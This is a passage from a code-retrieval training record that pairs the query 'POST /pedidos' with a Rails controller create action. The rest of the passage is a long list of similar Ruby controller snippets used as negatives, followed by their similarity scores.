index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def show\n @espacio_deportivo = EspacioDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @espacio_deportivo }\n end\n end", "def show\n @estacionamiento = Estacionamiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estacionamiento }\n end\n end", "def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end", "def show\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @denuncia_tipo }\n end\n end", "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end", "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end", "def show\n @local_deportivo = LocalDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @local_deportivo }\n end\n end", "def show\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fulcliente }\n end\n end", "def show\n @palestrante = Palestrante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palestrante }\n end\n end", "def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end", "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "def index\n\n if params[:ventas_seguimiento]\n cliente_id = params[:ventas_seguimiento][:cliente_id]\n @ventas_seguimientos = Ventas::Seguimiento.where(\"cliente_id = ?\",cliente_id).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new(:cliente_id => cliente_id)\n else\n @ventas_seguimientos = Ventas::Seguimiento.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_seguimientos }\n end\n end", "def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end", "def index\n @contato_produtos = ContatoProduto.all.sort! { |a,b| b.id <=> a.id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contato_produtos }\n end\n end", "def show\n @odontologia1 = Odontologia1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @odontologia1 }\n end\n end", "def show\n @detalle = Detalle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detalle }\n end\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def show\n @repuesto = Repuesto.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @repuesto.to_json }\n end\n end", "def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end", "def show\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_negocio }\n end\n end", "def show\n @dependencia = Dependencia.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependencia }\n end\n end", "def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end", "def index\n @titulo = \"Listado de Pedidos\"\n @clase = \"Pedidos\"\n @pedidos = Pedido.all\n end", "def show\n @depoevento = Depoevento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @depoevento }\n end\n end", "def index\n @prueba_jsons = PruebaJson.all\n end", "def show\n @orador = Orador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orador }\n end\n end", "def show\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end", "def show\n @po = Po.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @po }\n end\n end", "def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end", "def show\n @pinglun = Pinglun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pinglun }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\n @ped_programs = PedProgram.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_programs }\n end\n end", "def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end", "def show\n @artigo = Artigo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @artigo }\n end\n end", "def show\n @arquivo = Arquivo.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id, :comentavel_type => \"Arquivo\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arquivo }\n end\n end", "def show\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionada }\n end\n end", "def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end", "def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end", "def index\n @pedidos = Pedido.order(:id).page(params['page']).per(5)\n if params[:search] != \"\"\n @pedidos = Pedido.search(params[:search]).page(params['page']).per(5)\n else\n @pedidos = Pedido.all.page(params['page']).per(5)\n end\n end", "def show\n @dato = Dato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dato }\n end\n end", "def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end", "def show\n\n \n\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "def show\n todo = Todo.find_by_id(params[:id])\n render json: todo.todos\n end", "def index\n @pedidos = Pedido.all(:order => \"fecha ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pedidos }\n end\n end", "def show\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cargo_eleicao }\n end\n end" ]
[ "0.74077165", "0.73092943", "0.71350664", "0.6982091", "0.6735974", "0.66808826", "0.66509664", "0.6643285", "0.6618696", "0.6617846", "0.6615189", "0.65846115", "0.65537375", "0.65325993", "0.6523077", "0.65036094", "0.65036094", "0.648402", "0.6463641", "0.64592105", "0.6448591", "0.64401835", "0.64333695", "0.64331615", "0.64298725", "0.6417754", "0.64130306", "0.6400266", "0.6400266", "0.6400266", "0.6385527", "0.6366855", "0.6366355", "0.63621736", "0.63573176", "0.6356984", "0.6353324", "0.6335002", "0.63287634", "0.6328608", "0.6326641", "0.6323743", "0.6322847", "0.6321012", "0.63201624", "0.63180083", "0.6314827", "0.6313706", "0.63098186", "0.6290949", "0.62791985", "0.6278798", "0.6274605", "0.6274605", "0.62654823", "0.62634903", "0.62628406", "0.62600595", "0.62594265", "0.6256432", "0.62558705", "0.62495965", "0.62455714", "0.62438357", "0.6237154", "0.6234546", "0.6232706", "0.62274414", "0.62272435", "0.6226018", "0.62250894", "0.62147534", "0.6211268", "0.62108713", "0.62084454", "0.6208323", "0.62040406", "0.62037927", "0.62021023", "0.6202022", "0.6201207", "0.6199774", "0.6198144", "0.6195022", "0.61915576", "0.61903816", "0.6189639", "0.61889386", "0.61876714", "0.61869955", "0.6185832", "0.61848456", "0.61830044", "0.61810005", "0.61795896", "0.61721385", "0.6165125", "0.61629516", "0.6160711", "0.61601996", "0.6157201" ]
0.0
-1
POST /pedidos POST /pedidos.json
def create @pedido = Pedido.new(pedido_params) respond_to do |format| if @pedido.save format.html { redirect_to @pedido, notice: 'Pedido was successfully created.' } format.json { render :show, status: :created, location: @pedido } else format.html { render :new } format.json { render json: @pedido.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @pedido = Pedido.new(params[:pedido])\n\n respond_to do |format|\n if @pedido.save\n format.html { redirect_to @pedido, notice: 'Pedido was successfully created.' }\n format.json { render json: @pedido, status: :created, location: @pedido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pedido = Pedido.new(pedido_params)\n\n respond_to do |format|\n if @pedido.save\n format.html { redirect_to '/', notice: 'Pedido was successfully created.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pedido = Pedido.new(pedido_params)\n\n respond_to do |format|\n if @pedido.save\n format.html { redirect_to @pedido, notice: t('.sucesso') }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pedido_produto = PedidoProduto.new(pedido_produto_params)\n @pedido_produto.pedido = @pedido\n\n respond_to do |format|\n if @pedido_produto.save\n format.html { redirect_to pedido_pedido_produtos_path(@pedido), notice: 'Pedido produto was successfully created.' }\n format.json { render :show, status: :created, location: @pedido_produto }\n else\n format.html { render :new }\n format.json { render json: @pedido_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pedido = Pedido.new(pedido_params)\n\n respond_to do |format|\n if @pedido.save\n format.html { redirect_to @pedido, notice: 'Pedido foi adicionado(a) com sucesso.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def pedido_params\n params.require(:pedido).permit(:titulo, :estatus, :comentarios, :envioC, :userID)\n end", "def pedido_params\n params.require(:pedido).permit(:pedido_hash, :estado_actual, :restaurante_id, :fechahora_solicitada, :fechahora_estimada, :fee)\n end", "def pedido_params\n params.require(:pedido).permit(:empresa_id, :orden_numero, :cliente_id, :fecha_pedido, :direccion, :monto_total, :tiempo_estimado_envio, :recepcionado, :enviado, :entregado, :usuario_id, :repartidor_id, :estado, detalle_pedidos_attributes: [:pedido_id, :empresa_id, :plato_id, :cantidad, :costo_plato])\n end", "def pedido_params\n params.require(:pedido).permit(:codped, :dataped, :qtdprod, :endereco, :valortotal)\n end", "def pedido_params\n #debugger\n params.require(:pedido).permit(:proteinas, :bebidas, :sobremesas, :acompanhamentos, :guarnicoes, :saladas,:valor, :id, :cliente_id, :situacao, :conta, :observacao, :meia)\n end", "def pedido_params\n params.require(:pedido).permit(:pedido_dados ,:numero_pedido, :data_entrega, :urgencia, :forma_pagamento, :valor_venda, :desconto, :vendendor, :cliente_id, :endereco_entrega, :numero_entrega, :retirar,\n pedido_itens_attributes: [:produto, :tiragem, :valor, :status, :descricao])\n end", "def pedido_params\n params.require(:pedido).permit(:projeto_id, :tipo, :descricao)\n end", "def pedido_params\n params.require(:pedido).permit!\n end", "def detalle_pedido_params\n params.require(:detalle_pedido).permit(:cantidad, :observacion, :pedido_id, :producto_id, :estado, :creado_por, :actualizado_por)\n end", "def create\n @pedidos_has_prato = PedidosHasPrato.new(pedidos_has_prato_params)\n\n respond_to do |format|\n if @pedidos_has_prato.save\n format.html { redirect_to @pedidos_has_prato, notice: 'Pedidos has prato was successfully created.' }\n format.json { render :show, status: :created, location: @pedidos_has_prato }\n else\n format.html { render :new }\n format.json { render json: @pedidos_has_prato.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @local_pedido = LocalPedido.new(local_pedido_params)\n\n respond_to do |format|\n if @local_pedido.save\n format.html { redirect_to @local_pedido, notice: 'Local pedido was successfully created.' }\n format.json { render :show, status: :created, location: @local_pedido }\n else\n format.html { render :new }\n format.json { render json: @local_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @objeto = DetallePedido.new(detalle_pedido_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Detalle pedido was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def pedido_params\n params.require(:pedido).permit(:cliente_id, :observacao, vendas_attributes: [:id, :produto_id, :vendedor_id, :modalidade_id, :quantidade, :valortotal, :valortarifa, :valoreceber, :valorcomissao, :_destroy],\n recebimentos_attributes: [:id, :vencimento, :pagamento, :valor, :_destroy]) \n end", "def create\n @pedido = Pedido.new(pedido_params)\n @pedido.user = current_user\n respond_to do |format|\n if @pedido.save\n format.html { redirect_to @pedido, notice: 'Pedido criado com sucesso.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pedidos = Pedido.find(:all,:conditions=> {:status => [0], :user_id => current_user.id})\n if @pedidos[0].imagen_pedidos.count < 3\n @imagen_pedido = ImagenPedido.new(params[:imagen_pedido])\n @imagen_pedido.pedido_id = @pedidos[0].id\n respond_to do |format|\n if @imagen_pedido.save\n format.html { redirect_to imagen_pedidos_path, notice: 'La imagen fue subida satisfactoriamente.' }\n format.json { render json: @imagen_pedido, status: :created, location: @imagen_pedido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @imagen_pedido.errors, status: :unprocessable_entity }\n end\n end\n else\n #moviendo el estado a 1: Listo para verificacion\n @pedidos[0].status = 1\n @pedidos[0].save\n redirect_to pedidos_path, notice: 'El pedido ha sido enviado\nsatisfactoriamente.'\n end\n end", "def ventas_pedido_params\n params.require(:ventas_pedido).permit(:fecha, :cliente_id)\n end", "def produto_pedido_params\n params.require(:produto_pedido).permit(:nome, :valor_unitario, :quantidade, :valor_total, :pedido_id)\n end", "def create\n @pedido = Pedido.new(pedido_params)\n @pedido.pedido_hash = get_pedido_hash\n @pedido.estado_actual = PEDIDO_SOLICITADO\n\n #redirect_to '/pedidos'\n respond_to do |format|\n if @pedido.save\n\n params[:item_cantidad].each do |a, b|\n newitem_pedido = ItemPedido.new\n newitem_pedido.cantidad = b\n newitem_pedido.item_id = a\n item = Item.find(a)\n newitem_pedido.nombre = item.nombre\n newitem_pedido.valor = ItemProveedor.find_by_item_id_and_proveedor_id(item.id,Categorium.find(item.categorium_id).proveedor_id).precio\n newitem_pedido.pedido_id = @pedido.id\n newitem_pedido.estado_actual = ITEM_SOLICITADO\n newitem_pedido.proveedor_id = Categorium.find(item.categorium_id).proveedor_id\n newitem_pedido.disponible = true\n newitem_pedido.save\n\n end\n format.html { redirect_to @pedido, notice: 'Pedido was successfully created.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @detpedido = Detpedido.new(detpedido_params)\n\n respond_to do |format|\n if @detpedido.save\n format.html { redirect_to @detpedido, notice: 'Detpedido was successfully created.' }\n format.json { render :show, status: :created, location: @detpedido }\n else\n format.html { render :new }\n format.json { render json: @detpedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @departamento = Departamento.new(departamento_params)\n\n if @departamento.save\n render json: @departamento, status: :created, location: @departamento\n else\n render json: @departamento.errors, status: :unprocessable_entity\n end\n end", "def pedido_params\n params.require(:pedido).permit(:user_id, :condicao_pagamento_id,\n :itens_pedido_attributes => [:quantidade, %i[produto_id _destroy]])\n end", "def create\n @ped = Ped.new(params[:ped])\n\n respond_to do |format|\n if @ped.save\n format.html { redirect_to @ped, notice: 'Ped was successfully created.' }\n format.json { render json: @ped, status: :created, location: @ped }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ped.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end", "def produto_pedido_params\n params.require(:produto_pedido).permit(:pedido_id, :produto_id, :quantidade)\n end", "def item_pedido_params\n params.require(:item_pedido).permit(:desconto, :quantidade, :preco)\n end", "def pedidos_has_prato_params\n params.require(:pedidos_has_prato).permit(:pedidos_id, :pratos_id)\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n @pagamento = Pagamento.new(params[:pagamento])\n\t@pagamento.pedido_id=session[:pedido_atual]\n\t\n\trespond_to do |format|\n if @pagamento.save\n\t\tp = Pedido.find(session[:pedido_atual])\n\t\tp.pagamento_id=@pagamento.id\n\t\tp.estado=\"pagando\"\n\t\tp.save\n\t\t\n\t\tp2 = Pedido.new\n\t\tp2.estado=\"aberto\"\n\t\tp2.cliente_id=session[:usuario_id]\n\t\tp2.save\n\t\tsession[:pedido_atual]=p2.id\n\t\t\n format.html { redirect_to \"/pedidos\", notice: 'Seu pedido foi finalizado, acompanhe-o no seu quadro de pedidos. Aguardamos a confirmação deste pagamento. \\nO número dele é ' + p.id + '.' }\n format.json { render json: @pagamento, status: :created, location: @pagamento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pagamento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estado_pedido = EstadoPedido.new(params[:estado_pedido])\n\n respond_to do |format|\n if @estado_pedido.save\n format.html { redirect_to(@estado_pedido, :notice => 'EstadoPedido was successfully created.') }\n format.xml { render :xml => @estado_pedido, :status => :created, :location => @estado_pedido }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estado_pedido.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @transicion_estado_pedido = TransicionEstadoPedido.new(transicion_estado_pedido_params)\n\n respond_to do |format|\n if @transicion_estado_pedido.save\n format.html { redirect_to @transicion_estado_pedido, notice: 'Transicion estado pedido was successfully created.' }\n format.json { render :show, status: :created, location: @transicion_estado_pedido }\n else\n format.html { render :new }\n format.json { render json: @transicion_estado_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def local_pedido_params\n params.require(:local_pedido).permit(:local_id, :pedido_id, :estado_id)\n end", "def pedido_iten_params\n params.require(:pedido_iten).permit(:quantidade, :valor, :status, :descricao, :pedido_id, :produto_id)\n end", "def create\n\n @pedidodetalle = Pedidodetalle.new(params[:pedidodetalle])\n\n @pedidodetalles = Pedidodetalle.all\n\n respond_to do |format|\n if @pedidodetalle.save\n format.html { redirect_to pedidodetalles_url, notice: 'Guardado!' }\n else\n render :action => 'index'\n end\n end\n end", "def pedido_produto_params\n params.require(:pedido_produto).permit(:pedido_id, :produto_id, :valor, :quantidade)\n end", "def pedido_params\n\t\t params.require(:pedido).permit(:state, :alerta, :image)\n\t\t end", "def create\n @pedido = Pedido.new(params[:pedido])\n\n respond_to do |format|\n if @pedido.save\n #obtiene una instancia del Itempedido\n @item = @pedido.itempedidos.new(params[:itempedido])\n #obtiene una instancia de autorizacion para guardar un registro\n #del estado del pedido en PENDIENTE\n @autorizacion = @pedido.autorizacions.new(params[:autorizacion])\n if @item.save && @autorizacion.save\n format.html { redirect_to(@pedido, :notice => 'PEDIDO FUE REGISTRADO EXITOSAMENTE') }\n format.xml { render :xml => @pedido, :status => :created, :location => @pedido }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pedido.errors, :status => :unprocessable_entity }\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pedido.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n params[:orgao][:tipo_atendimento_ids] ||= []\n\trespond_to do |format|\n if @orgao.save\n format.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi criado com sucesso.\" }\n format.json { render json: @orgao, status: :created, location: @orgao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @safra_verdoso = SafraVerdoso.new(params[:safra_verdoso])\n\n respond_to do |format|\n if @safra_verdoso.save\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { render json: @safra_verdoso, status: :created, location: @safra_verdoso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @serie_detalle = SerieDetalle.new(serie_detalle_params)\n\n respond_to do |format|\n if @serie_detalle.save\n format.html { redirect_to @serie_detalle, notice: 'Serie detalle was successfully created.' }\n format.json { render :show, status: :created, location: @serie_detalle }\n else\n format.html { render :new }\n format.json { render json: @serie_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ordem_servico = OrdemServico.new(ordem_servico_params)\n set_funcionario\n @ordem_servico.valor_total = @ordem_servico.get_valor_ordem_servico\n\n respond_to do |format|\n if @ordem_servico.save\n format.html { redirect_to @ordem_servico, notice: t('messages.cadastro_salvo')}\n format.json { render :show, status: :created, location: @ordem_servico }\n else\n @ordem_servico.servico_items.build unless @ordem_servico.servico_items.size > 0\n @ordem_servico.produto_items.build unless @ordem_servico.produto_items.size > 0\n format.html { render :new }\n format.json { render json: @ordem_servico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puestos_entidad = PuestosEntidad.new(params[:puestos_entidad])\n\n respond_to do |format|\n if @puestos_entidad.save\n format.html { redirect_to @puestos_entidad, notice: 'Puestos entidad was successfully created.' }\n format.json { render json: @puestos_entidad, status: :created, location: @puestos_entidad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @puestos_entidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ponto_parada = PontoParada.new(ponto_parada_params)\n\n respond_to do |format|\n if @ponto_parada.save\n format.html { redirect_to @ponto_parada, notice: 'Ponto parada was successfully created.' }\n format.json { render :show, status: :created, location: @ponto_parada }\n else\n format.html { render :new }\n format.json { render json: @ponto_parada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @producto_detalle = ProductoDetalle.new(producto_detalle_params)\n\n respond_to do |format|\n if @producto_detalle.save\n format.html { redirect_to @producto_detalle, notice: 'Producto detalle was successfully created.' }\n format.json { render :show, status: :created, location: @producto_detalle }\n else\n format.html { render :new }\n format.json { render json: @producto_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto_pedido = ProdutoPedido.new(produto_pedido_params)\n @produto_pedido.valor_unitario = Produto.find_by(nome: params[:produto_pedido][:nome]).preco\n @produto_pedido.valor_total = @produto_pedido.valor_unitario * Integer(params[:produto_pedido][:quantidade])\n\n respond_to do |format|\n if @produto_pedido.save\n @pedido.quantidade_itens += @produto_pedido.quantidade\n @pedido.valor_pedido += @produto_pedido.valor_total\n @pedido.save\n format.html { redirect_to @pedido, notice: 'Produto pedido was successfully created.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end", "def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end", "def peso_params\n params.require(:peso).permit(:fecha, :peso, :usuario_id)\n end", "def create\n @post = Post.create(post_params)\n puts \"LLLLLOOOOOOOLLLLLL\"\n puts current_usuario.to_json\n @post = current_usuario.posts.create(post_params)\n \n @post.sangre = current_usuario.tipoDeSangre\n\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end", "def create\n @tipo_pensum = TipoPensum.new(params[:tipo_pensum])\n\n respond_to do |format|\n if @tipo_pensum.save\n format.html { redirect_to @tipo_pensum, notice: 'Tipo pensum was successfully created.' }\n format.json { render json: @tipo_pensum, status: :created, location: @tipo_pensum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_pensum.errors, status: :unprocessable_entity }\n end\n end\n end", "def ponderacion_params\n params.require(:ponderacion).permit(:id_ponderacion, :segmento, :valor, :fecha)\n end", "def jednani_params\n params.require(:jednani).permit(:porada_id, :tema, :obsah)\n end", "def create\n @pedido_publico = PedidoPublico.new(pedido_publico_params)\n\n respond_to do |format|\n if @pedido_publico.save\n format.html { redirect_to \"/carpublico?pedidoID=#{@pedido_publico.id}\", notice: 'Pedido publico was successfully created.' }\n format.json { render :show, status: :created, location: @pedido_publico }\n else\n format.html { render :new }\n format.json { render json: @pedido_publico.errors, status: :unprocessable_entity }\n end\n end\n end", "def transicion_estado_pedido_params\n params.require(:transicion_estado_pedido).permit(:est_estado_ped_cod, :estado_ped_cod, :trans_est_ped_cod)\n end", "def create\n @dado_inserido = DadoInserido.new(dado_inserido_params)\n\n respond_to do |format|\n if @dado_inserido.save\n format.html { redirect_to @dado_inserido, notice: 'Dado inserido was successfully created.' }\n format.json { render :show, status: :created, location: @dado_inserido }\n else\n format.html { render :new }\n format.json { render json: @dado_inserido.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_url }\n format.json { head :no_content }\n end\n end", "def create\n @espacio_deportivo = EspacioDeportivo.new(params[:espacio_deportivo])\n\n respond_to do |format|\n if @espacio_deportivo.save\n format.html { redirect_to root_url, :notice => \"Se hizo correctamente la creacion del espacio deportivo\" }\n format.json { render json: @espacio_deportivo, status: :created, location: @espacio_deportivo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @espacio_deportivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asiento_de_servicio = AsientoDeServicio.new(asiento_de_servicio_params)\n\n respond_to do |format|\n if @asiento_de_servicio.save\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully created.' }\n format.json { render :show, status: :created, location: @asiento_de_servicio }\n else\n format.html { render :new }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_orden = TipoOrden.new(tipo_orden_params)\n\n respond_to do |format|\n if @tipo_orden.save\n format.html { redirect_to @tipo_orden, notice: 'Tipo orden was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_orden }\n else\n format.html { render :new }\n format.json { render json: @tipo_orden.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to @especialidad, notice: 'Servicio creado exitosamente.' }\n format.json { render :show, status: :created, location: @especialidad }\n else\n format.html { render :new }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @detalle = Detalle.new(params[:detalle])\n\n respond_to do |format|\n if @detalle.save\n format.html { redirect_to @detalle, notice: 'Detalle was successfully created.' }\n format.json { render json: @detalle, status: :created, location: @detalle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @traslado = Traslado.new(traslado_params)\n\n respond_to do |format|\n if @traslado.save\n format.html { redirect_to @traslado, notice: 'Traslado was successfully created.' }\n format.json { render :show, status: :created, location: @traslado }\n else\n format.html { render :new }\n format.json { render json: @traslado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @endereco = Endereco.new(params[:endereco])\n\t@endereco.cliente_id=session[:usuario_id]\n\t\n respond_to do |format|\n if @endereco.save\n format.html { redirect_to \"/dados\", notice: 'O endereço foi cadastrado com sucesso!' }\n format.json { render json: @endereco, status: :created, location: @endereco }\n else\n format.html { render action: \"new\" }\n format.json { render json: @endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to @asiento, :notice => 'El apunte fue creado.' }\n format.json { render :json => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n 